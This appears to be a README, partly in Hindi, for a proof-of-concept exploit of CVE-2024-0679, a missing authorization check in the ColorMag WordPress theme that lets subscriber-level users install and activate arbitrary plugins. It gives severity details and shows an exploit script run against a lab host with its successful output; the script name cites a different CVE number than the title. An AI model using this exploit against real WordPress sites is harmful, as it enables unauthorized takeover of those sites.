randomrobbiebf/cve-2024-0679ColorMag <= 3.1.2 - प्रमाणित (Subscriber+) उपयोगकर्ताओं के लिए प्राधिकरण की कमी: मनमाना प्लगइन स्थापना/सक्रियण
ColorMag <= 3.1.2 - प्रमाणित (सब्सक्राइबर+) द्वारा मनमाना प्लगइन स्थापना/सक्रियण के लिए प्राधिकरण की कमी
WordPress के लिए ColorMag थीम, 3.1.2 तक के सभी संस्करणों में plugin_action_callback() फ़ंक्शन पर क्षमता जाँच की कमी के कारण अनधिकृत पहुंच के लिए कमजोर है। इससे प्रमाणित हमलावरों, सब्सक्राइबर-स्तरीय पहुंच और उससे ऊपर, के लिए मनमाना प्लगइन स्थापित और सक्रिय करना संभव हो जाता है।
Severity: medium
CVE ID: CVE-2024-0679
CVSS Score: 6.5
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Plugin Slug: colormag
WPScan URL: https://www.wpscan.com/plugin/colormag
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/e982d457-29db-468f-88c3-5afe04002dcf?source=api-prod
$ python3 CVE-2024-0705.py --url http://wordpress.lan --username user --password useruser1 --slug ai-engine --plugin ai-engine/ai-engine.php
Logged in successfully.
Getting Nonce!
5e0195de06
Installing Plugin!
HTTP STATUS: 200 Response: {"success":true,"data":{"message":"Plugin activated successfully!"}}